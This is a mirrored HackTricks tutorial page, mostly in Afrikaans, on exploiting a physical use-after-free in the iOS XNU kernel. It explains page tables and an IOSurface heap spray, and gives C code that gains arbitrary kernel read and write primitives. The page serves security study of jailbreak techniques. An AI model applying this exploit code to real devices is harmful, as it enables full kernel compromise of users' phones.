mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
209 lines
9.5 KiB
Markdown
209 lines
9.5 KiB
Markdown
# iOS Exploiting
|
|
|
|
{{#include /banners/hacktricks-training.md}}
|
|
|
|
## Fisiese gebruik-na-vry
|
|
|
|
Dit is 'n opsomming van die pos van [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) verder kan meer inligting oor die ontginning met hierdie tegniek gevind word in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
|
|
|
### Geheuebestuur in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
|
|
|
Die **virtuele geheue-adresruimte** vir gebruikersprosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse is egter nie direk aan fisiese geheue gekoppel nie. In plaas daarvan gebruik die **kernel** **bladsy tabelle** om virtuele adresse in werklike **fisiese adresse** te vertaal.
|
|
|
|
#### Vlakke van Bladsy Tabel in iOS
|
|
|
|
Bladsy tabelle is hiërargies georganiseer in drie vlakke:
|
|
|
|
1. **L1 Bladsy Tabel (Vlak 1)**:
|
|
* Elke inskrywing hier verteenwoordig 'n groot reeks van virtuele geheue.
|
|
* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue.
|
|
2. **L2 Bladsy Tabel (Vlak 2)**:
|
|
* 'n Inskrywing hier verteenwoordig 'n kleiner gebied van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
|
|
* 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele gebied self kan kaart nie.
|
|
3. **L3 Bladsy Tabel (Vlak 3)**:
|
|
* Dit is die fynste vlak, waar elke inskrywing 'n enkele **4 KB** geheue bladsy kaart.
|
|
* 'n L2 inskrywing kan na 'n L3 tabel verwys as meer fyn beheer nodig is.
|
|
|
|
#### Kaarting van Virtuele na Fisiese Geheue
|
|
|
|
* **Direkte Kaarting (Blok Kaarting)**:
|
|
* Sommige inskrywings in 'n bladsy tabel kaart direk **'n reeks van virtuele adresse** na 'n aaneengeskakelde reeks van fisiese adresse (soos 'n kortpad).
|
|
* **Wys na Kind Bladsy Tabel**:
|
|
* As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n **kind bladsy tabel** op die volgende vlak (bv. L2) verwys.
|
|
|
|
#### Voorbeeld: Kaarting van 'n Virtuele Adres
|
|
|
|
Kom ons sê jy probeer om toegang te verkry tot die virtuele adres **0x1000000000**:
|
|
|
|
1. **L1 Tabel**:
|
|
* Die kernel kyk na die L1 bladsy tabel inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n **wys na 'n L2 bladsy tabel** het, gaan dit na daardie L2 tabel.
|
|
2. **L2 Tabel**:
|
|
* Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n **L3 bladsy tabel** verwys, gaan dit daarheen.
|
|
3. **L3 Tabel**:
|
|
* Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheue bladsy wys.
|
|
|
|
#### Voorbeeld van Adres Kaarting
|
|
|
|
As jy die fisiese adres **0x800004000** in die eerste indeks van die L2 tabel skryf, dan:
|
|
|
|
* Virtuele adresse van **0x1000000000** tot **0x1002000000** kaart na fisiese adresse van **0x800004000** tot **0x802004000**.
|
|
* Dit is 'n **blok kaarting** op die L2 vlak.
|
|
|
|
Alternatiewelik, as die L2 inskrywing na 'n L3 tabel verwys:
|
|
|
|
* Elke 4 KB bladsy in die virtuele adres reeks **0x1000000000 -> 0x1002000000** sal deur individuele inskrywings in die L3 tabel gekaart word.
|
|
|
|
### Fisiese gebruik-na-vry
|
|
|
|
'n **Fisiese gebruik-na-vry** (UAF) gebeur wanneer:
|
|
|
|
1. 'n Proses **toewys** 'n bietjie geheue as **leesbaar en skryfbaar**.
|
|
2. Die **bladsy tabelle** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan toegang.
|
|
3. Die proses **deallocate** (vry) die geheue.
|
|
4. Maar, as gevolg van 'n **fout**, vergeet die kernel om die kaarting uit die bladsy tabelle te verwyder, alhoewel dit die ooreenstemmende fisiese geheue as vry merk.
|
|
5. Die kernel kan dan **hertoewys hierdie "vrygemaakte" fisiese geheue** vir ander doeleindes, soos **kernel data**.
|
|
6. Aangesien die kaarting nie verwyder is nie, kan die proses steeds **lees en skryf** na hierdie fisiese geheue.
|
|
|
|
Dit beteken die proses kan toegang verkry tot **bladsye van kernel geheue**, wat sensitiewe data of strukture kan bevat, wat moontlik 'n aanvaller in staat stel om **kernel geheue te manipuleer**.
|
|
|
|
### Ontginning Strategie: Heap Spray
|
|
|
|
Aangesien die aanvaller nie kan beheer watter spesifieke kernel bladsye aan vrygemaakte geheue toegeken sal word nie, gebruik hulle 'n tegniek genaamd **heap spray**:
|
|
|
|
1. Die aanvaller **skep 'n groot aantal IOSurface-objekte** in kernel geheue.
|
|
2. Elke IOSurface-objek bevat 'n **magiese waarde** in een van sy velde, wat dit maklik maak om te identifiseer.
|
|
3. Hulle **skandeer die vrygemaakte bladsye** om te sien of enige van hierdie IOSurface-objekte op 'n vrygemaakte bladsy beland het.
|
|
4. Wanneer hulle 'n IOSurface-objek op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om **te lees en te skryf na kernel geheue**.
|
|
|
|
Meer inligting hieroor in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
|
|
|
### Stap-vir-Stap Heap Spray Proses
|
|
|
|
1. **Spray IOSurface-Objekte**: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde").
|
|
2. **Skandeer Vrygemaakte Bladsye**: Hulle kyk of enige van die objekke op 'n vrygemaakte bladsy toegeken is.
|
|
3. **Lees/Skryf Kernel Geheue**: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om **arbitraire lees en skryf** in kernel geheue uit te voer. Dit laat hulle toe:
|
|
* Gebruik een veld om **enige 32-bit waarde** in kernel geheue te lees.
|
|
* Gebruik 'n ander veld om **64-bit waardes** te skryf, wat 'n stabiele **kernel lees/skryf primitief** bereik.
|
|
|
|
Genereer IOSurface-objekte met die magiese waarde IOSURFACE\_MAGIC om later vir te soek:
|
|
```c
|
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
|
if (*nClients >= 0x4000) return;
|
|
for (int i = 0; i < nSurfaces; i++) {
|
|
fast_create_args_t args;
|
|
lock_result_t result;
|
|
|
|
size_t size = IOSurfaceLockResultSize;
|
|
args.address = 0;
|
|
args.alloc_size = *nClients + 1;
|
|
args.pixel_format = IOSURFACE_MAGIC;
|
|
|
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
|
io_connect_t id = result.surface_id;
|
|
|
|
(*clients)[*nClients] = id;
|
|
*nClients = (*nClients) += 1;
|
|
}
|
|
}
|
|
```
|
|
Soek na **`IOSurface`**-objekte in een vrygemaakte fisiese bladsy:
|
|
```c
|
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
|
int nSurfaceIDs = 0;
|
|
|
|
for (int i = 0; i < 0x400; i++) {
|
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
|
|
|
for (int j = 0; j < nPages; j++) {
|
|
uint64_t start = puafPages[j];
|
|
uint64_t stop = start + (pages(1) / 16);
|
|
|
|
for (uint64_t k = start; k < stop; k += 8) {
|
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
|
info.object = k;
|
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
|
goto sprayDone;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
sprayDone:
|
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
|
if (surfaceIDs[i] == info.surface) continue;
|
|
iosurface_release(client, surfaceIDs[i]);
|
|
}
|
|
free(surfaceIDs);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Bereik Kernel Lees/Skryf met IOSurface
|
|
|
|
Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na 'n vrygestelde fisiese bladsy wat vanaf gebruikersruimte toeganklik is), kan ons dit gebruik vir **arbitraire kernel lees en skryf operasies**.
|
|
|
|
**Belangrike Velde in IOSurface**
|
|
|
|
Die IOSurface objek het twee belangrike velde:
|
|
|
|
1. **Gebruik Tel Punter**: Laat 'n **32-bit lees** toe.
|
|
2. **Geverifieerde Tydstempel Punter**: Laat 'n **64-bit skryf** toe.
|
|
|
|
Deur hierdie punters te oorskryf, lei ons dit na arbitraire adresse in kernel geheue, wat lees/skryf vermoëns moontlik maak.
|
|
|
|
#### 32-Bit Kernel Lees
|
|
|
|
Om 'n lees uit te voer:
|
|
|
|
1. Oorskryf die **gebruik tel punter** om na die teiken adres minus 'n 0x14-byte offset te wys.
|
|
2. Gebruik die `get_use_count` metode om die waarde op daardie adres te lees.
|
|
```c
|
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
|
uint64_t args[1] = {surfaceID};
|
|
uint32_t size = 1;
|
|
uint64_t out = 0;
|
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
|
return (uint32_t)out;
|
|
}
|
|
|
|
uint32_t iosurface_kread32(uint64_t addr) {
|
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
|
uint32_t value = get_use_count(info.client, info.surface);
|
|
iosurface_set_use_count_pointer(info.object, orig);
|
|
return value;
|
|
}
|
|
```
|
|
#### 64-Bit Kernel Write
|
|
|
|
Om 'n skrywe uit te voer:
|
|
|
|
1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
|
|
2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
|
|
```c
|
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
|
uint64_t args[3] = {surfaceID, 0, value};
|
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
|
}
|
|
|
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
|
set_indexed_timestamp(info.client, info.surface, value);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|
}
|
|
```
|
|
#### Exploit Flow Recap
|
|
|
|
1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
|
|
2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in die kerngeheue.
|
|
3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygestelde bladsy wat jy beheer.
|
|
4. **Abuse Use-After-Free**: Wysig wysers in die IOSurface-objek om arbitrêre **kern lees/skryf** via IOSurface-metodes moontlik te maak.
|
|
|
|
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
|
|
|
|
|
|
{{#include /banners/hacktricks-training.md}}
|